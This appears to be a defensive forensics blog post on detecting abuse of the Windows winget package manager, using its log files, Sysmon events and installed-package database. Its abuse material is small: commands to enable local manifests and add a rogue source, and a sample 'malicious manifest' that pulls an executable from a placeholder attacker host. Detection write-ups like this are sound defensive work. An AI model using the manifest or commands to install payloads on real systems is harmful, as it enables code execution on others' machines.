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Winget LOLBIN Detection & DFIR

Winget is the windows Windows Package Manager that let users install, update or delete windows packages/software. Learn more [here](#).

In theory winget could be abused by attackers in order to install malicious packages via the "--manifest" option or simply add a new malicious source location that allows the download of packages that are controlled by the attacker.

Fortunately, to use or enable either of these options admin privileges are required. But this doesn't stop an attacker from potentially abusing environments that are already leveraging and enabled these features.

Winget Execution Logs

You can get logs location via the following [command](#)

```
winget --info
```



Logs: %LOCALAPPDATA%\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalSta

Logs have the following naming convention: WinGet-YEAR-MONTH-DAY-HOURS-MINUTES-SECONDS.MILLISECONDS.log . An example would be as such WinGet-2023-04-10-01-06-10.971.log

They contain the executed command line along with any additional results from that execution. Here is an example from executing winget source list

```
2023-04-10 01:08:38.805 [CORE] WinGet, version [1.X.XXXXX], activity [{XXXXXXXX-XX}
2023-04-10 01:08:38.806 [CORE] OS: Windows.Desktop v10.0.XXXXX.XXX
2023-04-10 01:08:38.806 [CORE] Command line Args: "C:\Users\XXXXX\AppData\Local\Mi
2023-04-10 01:08:38.806 [CORE] Package: Microsoft.DesktopAppInstaller v1.XX.XXXXX.(
2023-04-10 01:08:38.806 [CORE] IsCOMCall:0; Caller: winget-cli
2023-04-10 01:08:38.818 [CLI ] WinGet invoked with arguments: 'source' 'list'
2023-04-10 01:08:38.818 [CLI ] Found subcommand: source
2023-04-10 01:08:38.819 [CLI ] Found subcommand: list
2023-04-10 01:08:38.819 [CLI ] Leaf command to execute: root:source:list
2023-04-10 01:08:38.820 [CLI ] Executing command: list
2023-04-10 01:08:38.837 [REPO] GetCurrentSourceRefs: Source named 'microsoft.built:
2023-04-10 01:08:38.888 [CLI ] Leaf command succeeded: root:source:list
```



Local Manifest Installation

The typical documented use case in [LOLBAS](#) of abusing Winget is via local manifest installs. We can use the same log file to look for executed command along with the domain and binary name

Note

The "install" flag has an alias called "add" that does the same thing. Check [source](#) code.

```
2023-04-15 17:21:37.328 [CORE] WinGet, version [1.4.10173], activity [{783EDBDD-F6}
2023-04-15 17:21:37.328 [CORE] OS: Windows.Desktop v10.0.22621.963
2023-04-15 17:21:37.328 [CORE] Command line Args: winget install -m opsec.yml
2023-04-15 17:21:37.328 [CORE] Package: Microsoft.DesktopAppInstaller v1.19.10173.(
2023-04-15 17:21:37.328 [CORE] IsCOMCall:0; Caller: winget-cli
2023-04-15 17:21:37.333 [CLI ] WinGet invoked with arguments: 'install' '-m' 'opse
2023-04-15 17:21:37.333 [CLI ] Found subcommand: install
2023-04-15 17:21:37.333 [CLI ] Leaf command to execute: root:install
2023-04-15 17:21:37.339 [CLI ] Executing command: install
```



```
2023-04-15 17:21:37.697 [CLI ] Manifest fields: Name [Opsec], Version [1.0.0]
2023-04-15 17:21:37.710 [CLI ] Starting installer selection.
2023-04-15 17:21:37.710 [CLI ] Completed installer selection.
2023-04-15 17:21:37.733 [CLI ] Generated temp download path: C:\Users\XXXX\AppData\Local\Temp\WinGet\
2023-04-15 17:21:37.734 [CORE] Downloading to path: C:\Users\XXXX\AppData\Local\Temp\WinGet\
2023-04-15 17:21:37.734 [CORE] DeliveryOptimization downloading from url: http://10.0.2.15:80
2023-04-15 17:21:39.939 [CORE] Download completed.
2023-04-15 17:21:39.969 [CORE] Started applying motw to C:\Users\XXXX\AppData\Local\Temp\WinGet\
2023-04-15 17:21:39.973 [CORE] Finished applying motw
2023-04-15 17:21:39.974 [CLI ] Installer hash verified
2023-04-15 17:21:39.974 [CORE] Started applying motw using IAttachmentExecute to C:\Users\XXXX\AppData\Local\Temp\WinGet\
2023-04-15 17:21:40.061 [CORE] Finished applying motw using IAttachmentExecute. Result: 0
2023-04-15 17:21:40.061 [CLI ] Successfully renamed downloaded installer. Path: C:\Users\XXXX\AppData\Local\Temp\WinGet\
2023-04-15 17:21:40.061 [REPO] Creating PredefinedInstalledSource with filter [ARP]
2023-04-15 17:21:40.061 [REPO] Creating new SQLite Index [4294967295.4294967295] at C:\Users\XXXX\AppData\Local\Temp\WinGet\
2023-04-15 17:21:40.061 [SQL ] Opening SQLite connection #1: ':memory:' [6, 0]
2023-04-15 17:21:40.103 [REPO] Reading MSI UpgradeCodes
2023-04-15 17:21:40.161 [REPO] Examining ARP entries for Machine | X64
2023-04-15 17:21:40.633 [REPO] Examining ARP entries for Machine | X86
2023-04-15 17:21:40.675 [FAIL] D:\a\_work\1\s\external\pkg\src\AppInstallerRepository\WinMerge_i
2023-04-15 17:21:40.675 [REPO] Ignoring duplicate ARP entry Machine|X86|WinMerge_i
2023-04-15 17:21:40.751 [REPO] Reading MSI UpgradeCodes
2023-04-15 17:21:40.780 [REPO] Examining ARP entries for User | X64
2023-04-15 17:21:40.867 [CLI ] Installer args:
2023-04-15 17:21:40.868 [CLI ] Starting: 'C:\Users\XXXX\AppData\Local\Temp\WinGet\
2023-04-15 17:21:43.362 [REPO] Creating PredefinedInstalledSource with filter [ARP]
2023-04-15 17:21:43.362 [REPO] Creating new SQLite Index [4294967295.4294967295] at C:\Users\XXXX\AppData\Local\Temp\WinGet\
2023-04-15 17:21:43.362 [SQL ] Opening SQLite connection #2: ':memory:' [6, 0]
2023-04-15 17:21:43.424 [REPO] Reading MSI UpgradeCodes
2023-04-15 17:21:43.451 [REPO] Examining ARP entries for Machine | X64
2023-04-15 17:21:43.891 [REPO] Examining ARP entries for Machine | X86
2023-04-15 17:21:43.921 [FAIL] D:\a\_work\1\s\external\pkg\src\AppInstallerRepository\WinMerge_i
2023-04-15 17:21:43.921 [REPO] Ignoring duplicate ARP entry Machine|X86|WinMerge_i
2023-04-15 17:21:43.982 [REPO] Reading MSI UpgradeCodes
2023-04-15 17:21:44.003 [REPO] Examining ARP entries for User | X64
2023-04-15 17:21:44.262 [CLI ] During package install, 0 changes to ARP were observed
2023-04-15 17:21:44.262 [CLI ] No single entry was determined to be associated with the package
2023-04-15 17:21:44.262 [CLI ] Removing installer: C:\Users\XXXX\AppData\Local\Temp\WinGet\
2023-04-15 17:21:44.264 [CLI ] Leaf command succeeded: root:install
```

Another potential point of abuse is to add a new malicious source. The command `winget source add --name [Name] [URL]` can be used to achieve this. You can use the [winget-cli-restsource](#) repository or [New-WinGetSource](#) to setup a new REST based source.

The same log discussed above can be used to spot potential abuse.

Package Installer Logs

There is also a log generated for actual package installations in the same location. The naming convention is `Winget-[PackageIdentifier].[PackageIdentifier].YEAR-MONTH-DAY-HOURS-MINUTES-SECONDS-MILLISECONDS.log`.

Example: `WinGet-Corel.WinZip.27.0.15240-2023-04-16-01-34-35.640`

Note

If you use `winget` in your environment. You could enable verbose logging to get more information during investigations of abuse. To do that, add the following [section](#) to the `winget settings.json` file.

```
"logging": {
  "level": "verbose"
}
```



Event Logs Detection

In order to be able to install packages via local manifests the `LocalManifestFiles` needs to be enabled. There are 2 ways of doing it (both require admin privileges)

- Enable `LocalManifestFiles` via GPO

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698-
  <EventID>13</EventID>
  <Version>2</Version>
  <Level>4</Level>
  <Task>13</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2023-04-16T22:27:37.0529098Z" />
```



```
<EventRecordID>1286186526</EventRecordID>
<Correlation />
<Execution ProcessID="7704" ThreadID="10028" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>XXXX</Computer>
<Security UserID="S-1-5-18" />
</System>
- <EventData>
  <Data Name="RuleName">-</Data>
  <Data Name="EventType">SetValue</Data>
  <Data Name="UtcTime">2023-04-16 22:27:37.052</Data>
  <Data Name="ProcessGuid">{9a08371b-75e4-643c-f136-010000002100}</Data>
  <Data Name="ProcessId">22936</Data>
  <Data Name="Image">C:\WINDOWS\system32\svchost.exe</Data>
  <Data Name="TargetObject">HKLM\SOFTWARE\Policies\Microsoft\Windows\AppInstaller\
  <Data Name="Details">DWORD (0x00000001)</Data>
  <Data Name="User">NT Authority\SYSTEM</Data>
</EventData>
</Event>
```

- Enable `LocalManifestFiles` via the command: `winget settings --enable LocalManifestFiles`. This will update the virtual application registry designated by `\REGISTRY\A`

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698-
  <EventID>13</EventID>
  <Version>2</Version>
  <Level>4</Level>
  <Task>13</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2023-04-17T15:08:54.0182440Z" />
  <EventRecordID>1354261469</EventRecordID>
  <Correlation />
  <Execution ProcessID="5572" ThreadID="10444" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>XXXX</Computer>
  <Security UserID="S-1-5-18" />
</System>
- <EventData>
  <Data Name="RuleName">-</Data>
  <Data Name="EventType">SetValue</Data>
  <Data Name="UtcTime">2023-04-15 15:08:54.017</Data>
```

```
<Data Name="ProcessGuid">{9a08371b-6105-643d-b713-000000002200}</Data>
<Data Name="ProcessId">24836</Data>
<Data Name="Image">C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.2403.1000\Microsoft.DesktopAppInstaller.exe</Data>
<Data Name="TargetObject">\REGISTRY\A\{332bac9b-933b-9869-3579-9d40f5cb2ee4}\Loc
<Data Name="Details">Binary Data</Data>
<Data Name="User">XXXX</Data>
</EventData>
</Event>
```

- During the installation phase the package is downloaded to the temp directory with the following naming convention: %TEMP%\WinGet\[PackageIdentifier].[PackageVersion]\

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698
  <EventID>11</EventID>
  <Version>2</Version>
  <Level>4</Level>
  <Task>11</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2023-04-17T15:29:07.1090602Z" />
  <EventRecordID>1354370532</EventRecordID>
  <Correlation />
  <Execution ProcessID="5572" ThreadID="10444" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>XXXX</Computer>
  <Security UserID="S-1-5-18" />
</System>
- <EventData>
  <Data Name="RuleName">-</Data>
  <Data Name="UtcTime">2023-04-17 15:29:07.108</Data>
  <Data Name="ProcessGuid">{9a08371b-6535-643d-7f16-000000002200}</Data>
  <Data Name="ProcessId">12384</Data>
  <Data Name="Image">C:\WINDOWS\System32\svchost.exe</Data>
  <Data Name="TargetFilename">C:\Users\XXXX\AppData\Local\Temp\WinGet\OpsecInstall
  <Data Name="CreationUtcTime">2023-04-14 15:29:07.108</Data>
  <Data Name="User">NT Authority\SYSTEM</Data>
</EventData>
</Event>
```

- The downloaded package gets MoTW applied to it and a Sysmon EID 15 is generated

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698
  <EventID>15</EventID>
  <Version>2</Version>
  <Level>4</Level>
  <Task>15</Task>
  <Opcode>0</Opcode>
  <Keywords>0x8000000000000000</Keywords>
  <TimeCreated SystemTime="2023-04-17T01:22:08.1380168Z" />
  <EventRecordID>1359018022</EventRecordID>
  <Correlation />
  <Execution ProcessID="5572" ThreadID="10444" />
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel>
  <Computer>XXXXX</Computer>
  <Security UserID="S-1-5-18" />
</System>
- <EventData>
  <Data Name="RuleName">-</Data>
  <Data Name="UtcTime">2023-04-17 01:22:08.137</Data>
  <Data Name="ProcessGuid">{9a08371b-f0bd-643d-bf8f-000000002200}</Data>
  <Data Name="ProcessId">22824</Data>
  <Data Name="Image">C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.
  <Data Name="TargetFilename">C:\Users\XXXX\AppData\Local\Temp\WinGet\OpsecInstall
  <Data Name="CreationUtcTime">2023-04-17 01:22:07.823</Data>
  <Data Name="Hash">SHA1=67A68EF90A0D9BCD47D62B850D5F14FB6D20DEC7,MD5=801A171EC031
  <Data Name="Contents">[ZoneTransfer] ZoneId=3 HostUrl=http://10.20.2.100/notepad
  <Data Name="User">XXXX</Data>
</EventData>
</Event>
```

Installed Packages DB

From a forensic perspective there is also the `installed.db` database which is a Sqlite database that seems to contains information about installed packages (Publisher, Ids, Name,...etc). I didn't look into it a lot could be useful.

Location:

C:\Users\XXXX\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\Microsoft.Winget.Source_8wekyb3d8bbwe Filename: `installed.db`

Name	Type	Schema
Tables (21)		
> channels		CREATE TABLE [channels](rowid INTEGER PRIMARY KEY, [channel] TEXT NOT NULL)
> commands		CREATE TABLE [commands](rowid INTEGER PRIMARY KEY, [command] TEXT NOT NULL)
> commands_map		CREATE TABLE [commands_map]([manifest] INT64 NOT NULL, [command] INT64 NOT NULL)
> ids		CREATE TABLE [ids](rowid INTEGER PRIMARY KEY, [id] TEXT NOT NULL)
> manifest		CREATE TABLE [manifest](rowid INTEGER PRIMARY KEY, [id] INT64 NOT NULL, [name] INT64 NOT NULL, [moniker] INT64 NOT NULL)
> manifest_metadata		CREATE TABLE [manifest_metadata]([manifest] INT64 NOT NULL, [metadata] INT64 NOT NULL, [value] TEXT)
> metadata		CREATE TABLE [metadata]([name] TEXT PRIMARY KEY NOT NULL, [value] TEXT NOT NULL)
> monikers		CREATE TABLE [monikers](rowid INTEGER PRIMARY KEY, [moniker] TEXT NOT NULL)
> names		CREATE TABLE [names](rowid INTEGER PRIMARY KEY, [name] TEXT NOT NULL)
> norm_names		CREATE TABLE [norm_names](rowid INTEGER PRIMARY KEY, [norm_name] TEXT NOT NULL)
> norm_names_map		CREATE TABLE [norm_names_map]([manifest] INT64 NOT NULL, [norm_name] INT64 NOT NULL)
> norm_publishers		CREATE TABLE [norm_publishers](rowid INTEGER PRIMARY KEY, [norm_publisher] TEXT NOT NULL)
> norm_publishers_map		CREATE TABLE [norm_publishers_map]([manifest] INT64 NOT NULL, [norm_publisher] INT64 NOT NULL)
> pathparts		CREATE TABLE [pathparts](rowid INTEGER PRIMARY KEY, [parent] INT64, [pathpart] TEXT NOT NULL)
> pfns		CREATE TABLE [pfns](rowid INTEGER PRIMARY KEY, [pfn] TEXT NOT NULL)
> pfns_map		CREATE TABLE [pfns_map]([manifest] INT64 NOT NULL, [pfn] INT64 NOT NULL)
> productcodes		CREATE TABLE [productcodes](rowid INTEGER PRIMARY KEY, [productcode] TEXT NOT NULL)
> productcodes_map		CREATE TABLE [productcodes_map]([manifest] INT64 NOT NULL, [productcode] INT64 NOT NULL)
> tags		CREATE TABLE [tags](rowid INTEGER PRIMARY KEY, [tag] TEXT NOT NULL)
> tags_map		CREATE TABLE [tags_map]([manifest] INT64 NOT NULL, [tag] INT64 NOT NULL)
> versions		CREATE TABLE [versions](rowid INTEGER PRIMARY KEY, [version] TEXT NOT NULL)

Example Malicious Manifest

PackageIdentifier: OpsecInstaller

PackageName: Opsec

ShortDescription: Opsec test installer

PackageVersion: 1.0.0

PackageLocale: en-US

License: MIT

Publisher: Winget

Installers:

- Architecture: x64

InstallerType: exe

InstallerUrl: http://YOUR-IP/notepad.exe

InstallerSha256: 972efbb0e7990a0b8404bbf9c7a57b047db169628aba7a017fd815ee5202e40

#InstallerSha256: 9c2c8a8588fe6db09c09337e78437cb056cd557db1bcf5240112cbfb7b6000

ManifestType: singleton

ManifestVersion: 1.0.0

